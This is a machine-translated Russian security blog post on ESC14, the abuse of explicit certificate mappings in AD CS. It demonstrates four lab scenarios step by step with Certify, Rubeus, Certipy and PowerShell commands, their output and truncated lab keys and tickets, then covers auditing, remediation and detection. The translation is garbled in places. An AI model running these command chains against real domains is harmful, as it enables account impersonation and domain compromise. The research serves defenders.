4. Аутентификация в качестве целевого участника с помощью сертификата

ESC14 Демо​

В этом разделе мы проведем демонстрацию четырех сценариев ESC14.

Лабораторная среда​

В лабораторной среде AD есть пользователь-злоумышленник с необходимыми разрешениями для злоупотреблений ESC14. Для каждого сценария ESC14 есть жертва и целевой принципал. Злоумышленник имеет сеансы пользователей-жертвы и сеансы администратора на компьютерах-жертвах.

Обратите внимание, что контроллеры домена имеют разную конфигурацию. DC01 обеспечивает строгое сопоставление сертификатов для PKINIT, но допускает сопоставление субъекта/эмитента через Schannel, тогда как DC02 имеет конфигурацию по умолчанию с режимом совместимости для PKINIT и Schannel, позволяющим явное сопоставление S4U2Self и S4U2Self. В этой конфигурации шаблон сертификата компьютера существует по умолчанию, два других являются пользовательскими.

Демонстрация сценария A ESC14 (запись altSecurityIdentities на цели)​

Сначала мы (злоумышленник) используем сеанс администратора на VictimComputerA , чтобы запросить сертификат шаблона сертификата компьютера как VictimComputerA, используя Certify :
PS C:\> .\Certify.exe запрос /ca:extca01\external-EXTCA01-CA /template:Machine /machine

_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0

[*] Действие: запросить сертификаты
[*] Повышение статуса до системного контекста для запроса сертификата компьютера

[*] Текущий контекст пользователя: NT AUTHORITY\SYSTEM
[*] Имя субъекта не указано, в качестве субъекта используется текущий компьютер

[*] Шаблон: Машина
[*] Тема: CN=VictimComputerA.external.local

[*] Центр сертификации: extca01\external-EXTCA01-CA

[*] Ответ CA: Сертификат выдан.
[*] Идентификатор запроса: 37

[*] cert.pem:

-----BEGIN RSA PRIVATE KEY -----
MIIEowIBAAKCAQEAzkh/PkjRzDK8Hq3D1VSN9JIEl2fVJItMswiIrcx3taaPFkYm
moE1K5DTmsEReQQKwWI4OgCM2MBpB9sdciyWyb+WoY Mhhz0k3IsegvRJ/iuRw/c8
…
-----КОНЕЦ ЧАСТНОГО КЛЮЧА RSA-- ---
-----НАЧАТЬ СЕРТИФИКАТ-----
MIIFpzCCBI+gAwIBAgITbAAAACVZ+QTbxjjopQAAAAAAJTANBgkqhkiG9w0BAQsF
ADBPMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGDAWBgoJkiaJk/IsZAEZFghleHRl
…
---- -END CERTIFICATE -----

[*] Преобразовать с помощью: openssl pkcs12 -in cert.pem - keyex -CSP «Microsoft Enhanced Cryptographic Provider v1.0» -export -out cert.pfx

Сертификация завершена в 00:00:03.5322398
Сохраняем закрытый ключ как cert-a.keyи сертификат как cert-a.pem, а затем создаем cert-a.pfxверсию сертификата с помощью встроенного в Windows инструмента certutil :
PS C:\> certutil -MergePFX .\cert-a.pem .\cert-a.pfx
Проверка подписи пройдена
Введите новый пароль для выходного файла .\cert-a.pfx:
Введите новый пароль:
Подтвердите новый пароль:
CertUtil: - Команда MergePFX выполнена успешно.
Снова используя certutil, проверяем серийный номер и эмитента distinguishedNameсертификата:
PS C:\> certutil -Dump -v .\cert-a.pfx
X509 Сертификат:
Версия: 3
Серийный номер: 6c0000002559f904dbc638e8a5000000000025
…
Эмитент:
CN=external-EXTCA01-CA
DC=external
DC=local
…
Мы используем серийный номер и эмитента distinguishedNameиз сертификата, чтобы получить формат сопоставления X509IssuerSerialNumber с помощью Get-X509IssuerSerialNumberFormat :
PS C:\> Get-X509IssuerSerialNumberFormat -SerialNumber "6c0000002559f904dbc638e8a5000000000025" -IssuerDistinguishedName "CN=external-EXTCA01-CA,DC=external,DC=local"
X509:<I>DC=local,DC=external,CN=ex внутренний-EXTCA01 -CA<SR>250000000000a5e838c6db04f959250000006c
Мы добавляем сопоставление X509IssuerSerialNumber к altSecurityIdentitiesатрибуту цели (т. е. TargetUserA) с помощью Add-AltSecIDMapping :
PS C:\> Add-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA <SR>250000000000a5e838c6db04f959250000006c"
Мы подтверждаем, что контроллер домена добавил сопоставление, используя Get-AltSecIDMapping :
PS C:\> Get-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local"
X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR> 250000000000a5e838c6db04f959250000006c
Мы используем сертификат для запроса TGT Kerberos для цели, используя Rubeus . Мы можем использовать любой контроллер домена, поскольку оба контроллера домена в лаборатории поддерживают строгое сопоставление сертификатов:
PS C:\> .\Rubeus.exe Asktgt /user:TargetUserA /certificate:.\cert-a.pfx

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.2.0

[*] Действие: Спросите TGT

[*] Использование PKINIT с etype rc4_hmac и темой: CN=VictimComputerA.external.local
[*] Создание AS- REQ (с предварительной аутентификацией PKINIT) для: 'external.local\TargetUserA'
[*] Использование контроллера домена: fe80::3074:3557:41f9:3c17%5:88
[+] Запрос TGT успешен!
[*] base64(тикет) .kirbi):

doIGNjCCBjKgAwIBBaEDAgEWooIFRTCCBUFhggU9MIIFOaADAgeEFoRAbDkVYVEVSTkFMLkxPQ0FMoiMw…

Имя службы: krbtgt/external.local
Область обслуживания: EXTERNAL.LOCAL
Имя пользователя: TargetUserA
Область пользователя: EXTERNAL.LOCAL
StartTime: 21.02.2024 5:23:33
EndTime : 21.02.2024 3:23: 15:00
RenewTill: 28 февраля 2024 г. 5:23:33
Флаги: name_canonicalize, pre_authent, Initial, Renewable, Forwardable
KeyType: rc4_hmac
Base64(key): s9+eIPwtd5lYa6dq0rnwvA==
ASREP (ключ): 94705DE2E66049CE8D3616 0F1435FD81
TGT в качестве цели позволяет нам выдавать себя за целевого принципала, и компрометация завершена. Затем мы можем очистить сопоставление сертификатов, которое мы добавили в цель, с помощью Remove-AltSecIDMapping :
PS C:\> Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA <SR>250000000000a5e838c6db04f959250000006c"

Демонстрация сценария B ESC14 (цель с X509RFC822)​

Сначала мы (злоумышленник) устанавливаем атрибут mailпользователя VictimUserB в соответствии с адресом электронной почты в сопоставлении X509RFC822 цели TargetUserB :
PS C:\> $victim = [ADSI]"LDAP://CN=VictimUserB,CN=Users,DC=external,DC=local"
$victim.Properties["mail"].Value = "[email protected] "
$victim.CommitChanges()
Затем мы используем наш сеанс как VictimUserB для запроса сертификата шаблона сертификата ExtMail как VictimUserB, используя Certify :
PS C:\> .\Certify.exe запрос /ca:extca01\external-EXTCA01-CA /template:ExtMail

_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0

[*] Действие: Запросить сертификаты

[*] Текущий контекст пользователя: EXTERNAL\victiuserb
[*] Имя субъекта не указано, в качестве субъекта используется текущий контекст.

[*] Шаблон: ExtMail
[*] Тема: CN=VictimUserB, CN=Users, DC=external, DC=local

[*] Центр сертификации: extca01\external-EXTCA01-CA

[*] Ответ CA: Сертификат выдан .
[*] Идентификатор запроса: 45

[*] cert.pem:

-----BEGIN RSA PRIVATE KEY -----
MIIEowIBAAKCAQEAxRWQbiyfV7O1WARQAn8ddHgLfNyE9dfebFE4cKCzapN5biHy
b0yoOdb3bM3Y8DuASNE93VbXEmGjci/+1aBOklJ96 5+BcEjHK0uhMrhL1qXrtz3U
…
-----КОНЕЦ ЧАСТНОГО КЛЮЧА RSA -----
-----НАЧАТЬ СЕРТИФИКАТ-----
MIIFrzCCBJegAwIBAgITbAAAAC34jGZ2zODqtQAAAAAAALTANBgkqhkiG9w0BAQsF
ADBPMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGDAWBgoJkiaJk/IsZAEZFghleHRl
…
-----END CE RTIFICATE -----

[*] Преобразование с помощью: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Поставщик v1.0" -export -out cert.pfx

Сертификация завершена в 00:00:03.5868741
Мы сохраняем закрытый ключ как cert-b.keyи сертификат как cert-b.pem, а затем создаем cert-b.pfxверсию сертификата с помощью certutil :
PS C:\> certutil -MergePFX .\cert-b.pem .\cert-b.pfx
Проверка подписи пройдена
Введите новый пароль для выходного файла .\cert-b.pfx:
Введите новый пароль:
Подтвердите новый пароль:
CertUtil: - Команда MergePFX выполнена успешно.
Снова используя certutil, мы можем подтвердить, что получили адрес электронной почты сертификата в SAN:
PS C:\> certutil -Dump -v .\cert-b.pfx
…
2.5.29.17: Флаги = 0, Длина = 1c
Альтернативное имя субъекта
RFC822 Name=[email protected]
…
Мы используем сертификат для запроса TGT Kerberos для цели, используя Rubeus . Нам нужно использовать DC, который позволяет слабое сопоставление сертификатов:
PS C:\> .\Rubeus.exe Asktgt /user:TargetUserB /certificate:.\cert-b.pfx /dc:EXTDC02

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.2.0

[*] Действие: Спросите TGT

[*] Использование PKINIT с etype rc4_hmac и темой: CN=VictimUserB
[*] Создание AS-REQ (w/ PKINIT preauth) для: 'external.local\TargetUserB'
[*] Использование контроллера домена: fe80::3074:3557:41f9:3c17%5:88
[+] Запрос TGT успешен!
[*] base64(ticket.kirbi):

doIGXDCCBligAwIBBaEDAgEWooIFaDCCBWRhggVgMIIFXKADAgeEFoRAbDkVYVEVSTkFMLkxPQ0FMoiMw…

Имя службы: krbtgt/external.local
Область службы: EXTERNAL.LOCAL
Имя пользователя: TargetUserB
Область пользователя: EXTERNAL.LOCAL
Время начала: 26.02.2024 9:46:36
EndTime: 26.02.2024 19:46:36
RenewTill: 04.03.2024, 9:46:36
Флаги: name_canonicalize, pre_authent, начальный, возобновляемый, пересылаемый.
Тип ключа: rc4_hmac
Base64(key): ggcSW7KqJJEUwNWWYtWC1g==
ASREP (ключ): DCD1B365B6BC8A3BFD99C2127889C048.
TGT в качестве цели позволяет нам выдавать себя за целевого принципала, и компрометация завершена.

Демо сценария ESC14 C (цель с X509IssuerSubject)​

Целевой компьютер TargetComputerC имеет явное сопоставление: X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<S>CN=TargetComputerC.external.local. Нам (злоумышленнику) необходимо установить атрибут cnжертвы TargetComputerC.external.localVictimUserC , чтобы получить сертификат VictimUserC, соответствующий этому сопоставлению. DC не позволяет вам установить только атрибут, вам также cnнеобходимо установить для атрибута то же значение. nameDC сделает это за вас, когда вы переименуете пользователя:
PS C:\> $user = [ADSI]"LDAP://CN=VictimUserC,CN=Users,DC=external,DC=local"
$user.Rename("CN=TargetComputerC.external.local")
После переименования и UPN sAMAccountNameостаются прежними:
PS C:\> Get-ADUser VictimUserC

DistinguishedName: CN=TargetComputerC.external.local,CN=Users,DC=external,DC=local
Включено: True
GiveName:
Имя: TargetComputerC.external.local
ObjectClass: user
ObjectGUID: 371d805c-b12f -4dac-a32a-bdbd7c796dee
SamAccountName: VictimUserC
SID: S-1-5-21-3702535222-3822678775-2090119576-1184
Фамилия:
UserPrincipalName: [email protected]
Мы используем наш сеанс как VictimUserC для запроса сертификата шаблона сертификата ExtMail как VictimUserC, используя Certify :
PS C:\> .\Certify.exe запрос /ca:extca01\external-EXTCA01-CA /template:ExtMail

_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0

[*] Действие: Запросить сертификаты

[*] Текущий контекст пользователя: EXTERNAL\VictimUserC
[*] Имя субъекта не указано, в качестве субъекта используется текущий контекст.

[*] Шаблон: ExtMail
[*] Тема: CN=TargetComputerC.external.local, CN=Users, DC=external, DC=local

[*] Центр сертификации: extca01\external-EXTCA01-CA

[*] Ответ CA: The сертификат был выдан.
[*] Идентификатор запроса: 46

[*] cert.pem:

-----BEGIN RSA PRIVATE KEY -----
MIIEpAIBAAKCAQEAuZBBBQpcYyeTVbvkU8XfUFdDKQhJt5SAMUwMN9yJ6KyyHxsc
H+vMiEAUKIm4ZIAjoKqPuTxuHKP1uhNUuojzXukh5HX+ f8Th/rur4L7+EBkNeXS6
…
-----КОНЕЦ ЧАСТНОГО КЛЮЧА RSA-- ---
-----НАЧАТЬ СЕРТИФИКАТ-----
MIIFwjCCBKqgAwIBAgITbAAAAC6y2Kutq0/uzAAAAAAALjANBgkqhkiG9w0BAQsF
ADBPMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGDAWBgoJkiaJk/IsZAEZFghleHRl
…
----- КОНЕЦ СЕРТИФИКАТА -----

[*] Преобразование с помощью: openssl pkcs12 -in cert.pem -keyex - CSP «Microsoft Enhanced Cryptographic Provider v1.0» -export -out cert.pfx

Сертификация завершена в 00:00:03.5868741
Обратите внимание, что поле «Тема» отражает измененное значение distinguishedNameVictimUserC. В этом поле Certify будет отображаться значок distinguishedName, даже если в поле «Субъект» выданного сертификата указано имя cnзарегистрированного лица.
Мы сохраняем закрытый ключ как cert-c.keyи сертификат как cert-c.pem, а затем создаем cert-c.pfxверсию сертификата с помощью certutil:
PS C:\> certutil -MergePFX .\cert-c.pem .\cert-c.pfx
Проверка подписи пройдена
Введите новый пароль для выходного файла .\cert-c.pfx:
Введите новый пароль:
Подтвердите новый пароль:
CertUtil: - Команда MergePFX выполнена успешно.
Снова используя certutil, мы можем подтвердить эмитента и предмет сертификата:
PS C:\> certutil -Dump -v .\cert-c.pfx
…
Эмитент:
CN=external-EXTCA01-CA
DC=external
DC=local
…
Тема:
CN=TargetComputerC.external.local
…
Мы могли бы запросить TGT Kerberos для цели от DC02, поскольку он поддерживает слабое сопоставление с PKINIT; однако для DC01 для Schannel CertificateMappingMethodsустановлено значение 0x01, что означает, что он поддерживает сопоставление X509IssuerSubject через Schannel. Мы выбираем опцию Schannel и получаем оболочку LDAP в качестве цели, используя Certipy :
Attacker@pc:~$ certipy auth -pfx cert-c.pfx -dc-ip 192.168.100.40 -ldap-shell
Certipy v4.8.2 - Оливер Ляк (ly4k)

[*] Подключение к 'ldaps://192.168.100.40 :636'
[*] Аутентифицирован по адресу '192.168.100.40' как: u: EXTERNAL\TARGETCOMPUTERC$
Введите help для списка команд

#
Оболочка LDAP позволяет нам выдавать себя за целевого участника, и компрометация завершена.

Демонстрация сценария D ESC14 (цель с X509SubjectOnly)​

Целевой пользователь TargetUserD имеет явное сопоставление: X509:<S>CN=TargetUserD. Нам (злоумышленнику) необходимо установить атрибут dNSHostNameжертвы TargetUserDVictimComputerD , чтобы получить сертификат, соответствующий этому сопоставлению:
PS C:\> $victim = [ADSI]"LDAP://CN=EXTCA01,CN=Computers,DC=external,DC=local"
$victim.Properties["dNSHostName"].Value = "TargetUserD"
$victim. ЗафиксироватьИзменения()
Мы используем сеанс администратора на VictimComputerD для запроса сертификата шаблона сертификата MachineNoSec как VictimComputerD, используя Certify :
PS C:\> .\Certify.exe запрос /ca:extca01\external-EXTCA01-CA /template:MachineNoSec /machine

_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0

[*] Действие: запросить сертификаты
[*] Повышение статуса до системного контекста для запроса сертификата компьютера

[*] Текущий контекст пользователя: NT AUTHORITY\SYSTEM
[*] Имя субъекта не указано, в качестве субъекта используется текущий компьютер

[*] Шаблон: MachineNoSec
[*] Тема: CN=VictimComputerD.external.local

[*] Центр сертификации: extca01\external-EXTCA01-CA

[*] Ответ CA: Сертификат выдан.
[*] Идентификатор запроса: 50

[*] cert.pem:

-----BEGIN RSA PRIVATE KEY -----
MIIEowIBAAKCAQEAyc9Kw7F4OekP1g9CbyaIMzWF5Io39ja2HvbjCPobwCt6O/8h
ZeDk/t7ygM7OvI9+He/B3/9F+DNw7W97YI36Y u+E9kNtevqeHvX85ddpev6HdqOM
…
----- КОНЕЦ ЧАСТНОГО КЛЮЧА RSA -----
----- НАЧАТЬ СЕРТИФИКАТ -----
MIIFdDCCBFygAwIBAgITbAAAADLH3vcISGchfwAAAAAAMjANBgkqhkiG9w0BAQsF
ADBPMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGDAWBgoJkiaJk/IsZAE ZFghleHRl
…
-----КОНЕЦ СЕРТИФИКАТА-----

[*] Преобразование с помощью: openssl pkcs12 -in cert. pem -keyex -CSP «Microsoft Enhanced Cryptographic Provider v1.0» -export -out cert.pfx

Сертификация завершена в 00:00:03.6299258
Мы сохраняем закрытый ключ как cert-d.keyи сертификат как cert-d.pem, а затем создаем cert-d.pfxверсию сертификата с помощью certutil:
PS C:\> certutil -MergePFX .\cert-d.pem .\cert-d.pfx
Проверка подписи пройдена
Введите новый пароль для выходного файла .\cert-d.pfx:
Введите новый пароль:
Подтвердите новый пароль:
CertUtil: - Команда MergePFX выполнена успешно.
Снова воспользовавшись certutil, мы можем подтвердить предмет сертификата:
PS C:\> certutil -Dump -v .\cert-d.pfx
…
Тема:
CN=TargetUserD
…
Мы используем сертификат для запроса TGT Kerberos для цели, используя Rubeus . Нам нужно использовать DC, который позволяет слабое сопоставление сертификатов:
PS C:\tools> .\Rubeus.exe Asktgt /user:TargetUserD /certificate:.\cert-d.pfx /dc:EXTDC02

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.2.0

[*] Действие: Спросите TGT

[*] Использование PKINIT с etype rc4_hmac и темой: CN=TargetUserD
[*] Создание AS-REQ (w/ PKINIT preauth) для: 'external.local\TargetUserD'
[*] Использование контроллера домена: 192.168.100.40:88
[+] Запрос TGT успешен!
[*] base64(ticket.kirbi):

doIGXDCCBligAwIBBaEDAgEWooIFaDCCBWRhggVgMIIFXKADAgEFoRAbDkVYVEVSTkFMLkxPQ0 FMoiMw…

Имя службы: krbtgt/external.local
ServiceRealm: EXTERNAL.LOCAL
Имя пользователя: TargetUserD
UserRealm: EXTERNAL.LOCAL
StartTime: 26.02.2024 11:57:48
EndTime: 26.02.2024 21:57:48
RenewTill: 04.03.2024 11:57: 48 Флаги AM
: name_canonicalize, pre_authent, начальный, возобновляемый, пересылаемый
Тип ключа: rc4_hmac
Base64(ключ): u0WGoEFTklhOaSwUasThzg==
ASREP (ключ): A92922F14F3AE5F145CF7EC6F4A071CC
TGT в качестве цели позволяет нам выдавать себя за целевого принципала, и компрометация завершена.

Аудит​

Ключевым фактором сценария A ESC14 является то, что злоумышленник имеет доступ на запись к altSecurityIdentitiesатрибуту цели. Для сценария BD ESC14 это то, что цель имеет слабое явное сопоставление, установленное в altSecurityIdentities. Вот как проводить аудит этих вещей.

Запись доступа к altSecurityIdentities​

Вы можете использовать BloodHound для проверки вашей среды на предмет компрометации прав на запись. BloodHound пока не собирает доступ на запись к altSecurityIdentitiesатрибуту и Public-Informationнабору свойств . Пока мы не добавим это, вы можете использовать этот сценарий PowerShell для аудита именно этих разрешений на запись: Get-WriteAltSecIDACEs.ps1 .

Слабые отображения​

Вы можете проверить наличие участников, настроенных со слабыми явными сопоставлениями, с помощью Get-AltSecIDMapping.ps1 :
PS C:\> Get-AltSecIDMapping -SearchBase "DC=external,DC=local" -ExcludeStrong

CN=truster,CN=Users,DC=external,DC=local
X509:<I>C=US,O=JnternetCA,CN =APublicCertificateAuthority<S>C=US,O=Fabrikam,OU=Sales,CN=Джефф Смит

CN=t1-admin,CN=Users,DC=external,DC=local
X509:<RFC822>[email protected]

Исправление​

Запись доступа к altSecurityIdentities​

Вам следует ограничить доступ для записи altSecurityIdentitiesтолько принципалам, которые предназначены для полного контроля над данным пользователем/компьютером.
Приоритет списка управления доступом (ACL) (описанный здесь ) представляет собой сложную задачу, особенно потому, что явное разрешение имеет приоритет над унаследованным запретом. Я настоятельно рекомендую вам изменить необходимые разрешения, а не внедрять записи контроля доступа Deny (ACE), чтобы сделать ACL максимально простыми.

Списки ACL становятся еще более сложными, поскольку ACE предоставляют доступ на запись к наборам свойств, таким как Public-Informationнабор свойств. Чтобы избежать запрета ACE, вы можете заменить доступ на запись к набору свойств на доступ на запись к отдельным атрибутам в наборе свойств. Однако это значительно увеличит количество ACE для больших наборов свойств, таких как Public-Information. Атрибуты могут принадлежать только одному набору свойств, поэтому создание пользовательского набора свойств, содержащего подмножество исходного набора свойств, невозможно, если вы не удалите атрибуты из исходного.

Слабые отображения​

Если у вас есть принципалы со слабым явным сопоставлением, вам следует заменить их сильными сопоставлениями, при условии, что сопоставления вообще используются. Потенциально вы можете продолжать использовать те же сертификаты; вам просто нужно обновить сопоставления, чтобы они ссылались на идентификаторы, которые злоумышленники не смогут повторно использовать. Если вы используете несколько сертификатов для одного и того же принципала, вам может потребоваться заменить одно сопоставление на несколько, чтобы ссылаться на все сертификаты, используемые для данного принципала.
Ознакомьтесь с разделом «Явное сопоставление сертификатов», чтобы получить более подробную информацию о сопоставлениях слабых и сильных сертификатов, а также о том, как их можно получать, добавлять и удалять с помощью PowerShell.
Имейте в виду, что Microsoft заявила, что они отключат слабое явное сопоставление, начиная с 11 февраля 2025 года ( KB5014754 — изменения аутентификации на основе сертификатов на контроллерах домена Windows ), поэтому в любом случае существует крайний срок для избавления от слабых сопоставлений.

Обнаружение​

Я рекомендую ознакомиться с разделом «Руководство для детективов» официального документа «Сертифицированный подержанный товар» и подразделами:

• Мониторинг регистрации сертификатов пользователя/машины — DETECT1
• Мониторинг событий проверки подлинности сертификата — DETECT2

В разделах описывается, как можно отслеживать регистрацию сертификатов и проверку подлинности с помощью запросов на регистрацию сертификатов и событий Windows.
К сожалению, я не нашел никаких идентификаторов событий Windows, которые бы показали, использовалось ли явное сопоставление сертификатов для аутентификации, и (насколько мне известно) не существует универсального способа отличить вредоносные запросы на регистрацию и события проверки подлинности сертификата от законных. Однако сбор информации о регистрации и аутентификации сертификатов в целом обеспечивает видимость среды и позволяет создать базовые показатели нормального состояния и предупреждать об аномальных запросах на регистрацию и событиях аутентификации сертификатов. Эта стратегия эффективна для ESC14, а также для других методов злоупотребления ADCS, включая регистрацию сертификатов и аутентификацию.

Дальнейшее исследование: altSecurityIdentities для синхронизированных пользователей​

Явное сопоставление также присутствует в Microsoft Entra. Microsoft Entra Connect поддерживает синхронизацию атрибута Entra ID certificateUserIds, который используется для проверки подлинности сертификата, с атрибутом altSecurityIdentitiesсинхронизированных локальных пользователей AD: сопоставление с атрибутом certificateUserIds в Microsoft Entra ID .
Было бы интересно выяснить, в какой степени доступ на запись к altSecurityIdentitiesатрибуту синхронизированного локального пользователя AD может способствовать компрометации личности Entra ID пользователя.

Заключение​

В этом сообщении блога были рассмотрены различные проявления злоупотребления явным сопоставлением сертификатов ADCS, отнесенного к категории ESC14. Слабые явные сопоставления атрибута altSecurityIdentitiesпредставляют собой серьезную угрозу для пользователей AD и компьютеров, и их следует избегать. Злоумышленники потенциально могут получить сертификаты, соответствующие этим сопоставлениям, обеспечивая аутентификацию клиента и последующую выдачу себя за целевых участников. Более того, злоумышленники, имеющие доступ на запись, altSecurityIdentitiesмогут скомпрометировать участников, даже если контроллеры домена применяют строгое сопоставление сертификатов. Поэтому крайне важно ограничить доступ на запись к altSecurityIdentitiesатрибуту только принципалам, предназначенным для полного контроля.
РЕДАКТИРОВАТЬ (1 марта 2024 г.) : Ханс-Йоахим Кноблох объяснил в комментарии к сообщению в блоге и подробно уточнил в ветке LinkedIn , что KDC не требует, чтобы контроллер домена доверял эмитенту сертификата для аутентификации NT при выполнении X509IssuerSubject, X509IssuerSerialNumber. , X509SKI или X509SHA1PublicKey. Microsoft визуализировала это поведение в виде блок-схемы в документации по логике обработки сертификатов , а Ханс обсуждал это в очень интересном сообщении в блоге здесь: Nilpferde, NDES und Goldene Zertifikate als Schlüssel zum AD . Это означает, что злоумышленник потенциально может использовать сертификат одного из многих общедоступных корневых центров сертификации, которым доверяет контроллер домена, в атаке по сценарию A ESC14, устраняя необходимость в правах регистрации в среде AD. Ханс также подчеркивает, как это может позволить злоумышленнику скомпрометировать принципала с помощью X509SKI (сильного) сопоставления : «Если настроено явное сопоставление с SKI действительного сертификата пользователя (хотя это, вероятно, будет редко использоваться в дикой природе), скомпрометированный действительный центр сертификации может подделать поддельный сертификат с тем же содержимым SKI. Распространенным заблуждением является то, что значение SKI всегда будет отпечатком SHA-1 открытого ключа (если выбрана опция KeyIdentifier). В RFC 5280 это указано только как рекомендация. Центр сертификации может вставить произвольную строку октетов». Огромное спасибо Хансу за то, что он поделился своими мыслями о потенциальных сценариях явного злоупотребления сопоставлением сертификатов (ESC14). altSecurityIdentities